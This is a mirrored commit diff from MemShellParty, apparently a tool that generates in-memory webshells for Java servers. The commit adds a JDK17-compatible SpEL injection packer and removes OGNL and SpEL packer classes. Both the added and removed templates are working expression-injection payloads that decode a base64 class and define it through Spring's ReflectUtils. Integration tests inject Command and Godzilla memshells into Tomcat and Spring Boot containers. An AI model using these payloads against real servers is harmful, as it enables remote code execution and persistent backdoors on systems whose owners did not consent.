mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
This commit is contained in:
@@ -5,6 +5,7 @@ on:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- './github/workflows/memshell-integration-test.yml'
|
||||
- '**/memshell/**'
|
||||
- '**/packer/**'
|
||||
|
||||
|
||||
@@ -25,12 +25,12 @@ bun run build
|
||||
3. 构建后端项目,确保使用 JDK17 环境
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
cd MemShellParty
|
||||
|
||||
./gradlew :boot:bootjar -x test
|
||||
```
|
||||
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
@@ -39,7 +39,7 @@ java -jar \
|
||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||
build/libs/boot-1.0.0.jar
|
||||
build/libs/boot-2.0.0.jar
|
||||
```
|
||||
|
||||
也可这基础上再继续构建容器来使用
|
||||
|
||||
+11
-4
@@ -35,7 +35,10 @@ import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Objects;
|
||||
import java.util.Random;
|
||||
|
||||
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
|
||||
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -87,7 +90,7 @@ public class ShellAssertion {
|
||||
|
||||
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||
|
||||
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
|
||||
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
|
||||
|
||||
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
||||
|
||||
@@ -288,11 +291,14 @@ public class ShellAssertion {
|
||||
return shellToolConfig;
|
||||
}
|
||||
|
||||
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
|
||||
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(urlPattern);
|
||||
}
|
||||
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) {
|
||||
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
||||
}
|
||||
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(server)
|
||||
@@ -324,8 +330,9 @@ public class ShellAssertion {
|
||||
}
|
||||
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
|
||||
case EL -> VulTool.postIsOk(url + "/el", content);
|
||||
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content);
|
||||
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content);
|
||||
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
|
||||
VulTool.postIsOk(url + "/spel", content);
|
||||
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content);
|
||||
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
|
||||
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
|
||||
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
|
||||
|
||||
+7
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
@@ -8,6 +9,7 @@ import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
@@ -100,4 +102,9 @@ public class SpringBoot3ContainerTest {
|
||||
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testCommandValveSpELSpringIOUtilsJDK17() {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -78,7 +78,7 @@ public class Tomcat8CommandEncryptorContainerTest {
|
||||
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||
.build();
|
||||
|
||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
|
||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer);
|
||||
|
||||
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
|
||||
|
||||
|
||||
-2
@@ -44,11 +44,9 @@ public class Tomcat8ExpressionContainerTest {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
||||
|
||||
@@ -16,12 +16,18 @@ public interface AggregatePacker extends Packer {
|
||||
* 聚合打包当前所有分类下的 payload
|
||||
*
|
||||
* @param config 生成结果
|
||||
* @return key -> 打包名称, value -> 打包 payload
|
||||
* @return key -> 打包名称,value -> 打包 payload
|
||||
*/
|
||||
default Map<String, String> packAll(ClassPackerConfig config) {
|
||||
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||
Enum::name,
|
||||
packers -> packers.getInstance().pack(config),
|
||||
packers -> {
|
||||
try {
|
||||
return packers.getInstance().pack(config);
|
||||
} catch (Exception e) {
|
||||
return e.getMessage();
|
||||
}
|
||||
},
|
||||
(existing, replacement) -> existing,
|
||||
LinkedHashMap::new
|
||||
));
|
||||
|
||||
@@ -33,13 +33,12 @@ import com.reajason.javaweb.packer.mvel.MVELPacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLPacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
|
||||
import com.reajason.javaweb.packer.rhino.RhinoPacker;
|
||||
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
@@ -92,7 +91,6 @@ public enum Packers {
|
||||
|
||||
OGNL(new OGNLPacker()),
|
||||
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
|
||||
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
|
||||
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
|
||||
|
||||
MVEL(new MVELPacker()),
|
||||
@@ -104,7 +102,7 @@ public enum Packers {
|
||||
SpEL(new SpELPacker()),
|
||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class),
|
||||
|
||||
Groovy(new GroovyPacker()),
|
||||
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/7
|
||||
*/
|
||||
public class OGNLSpringUtilsPacker implements Packer {
|
||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringIOUtilsGzipJDK17Packer implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String className = config.getClassName();
|
||||
assertClassNameValid(className);
|
||||
return template.replace("{{className}}", className)
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
|
||||
public static void assertClassNameValid(String className) {
|
||||
String packageName = className.substring(0, className.lastIndexOf("."));
|
||||
if (!"org.springframework.expression".equals(packageName)) {
|
||||
throw new UnsupportedOperationException(className + " is not supported, please set className in same package org.springframework.expression, " +
|
||||
"for example, org.springframework.expression.CommonUtil, org.springframework.expression.sub.CommonUtil will also not work");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringUtilsPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/25
|
||||
*/
|
||||
class SpELSpringIOUtilsGzipJDK17PackerTest {
|
||||
|
||||
@Test
|
||||
void pack() {
|
||||
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||
classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil");
|
||||
classPackerConfig.setClassBytes("hello".getBytes());
|
||||
classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes()));
|
||||
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
|
||||
|
||||
classPackerConfig.setClassName("org.springframework.expression.CommonUtil");
|
||||
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user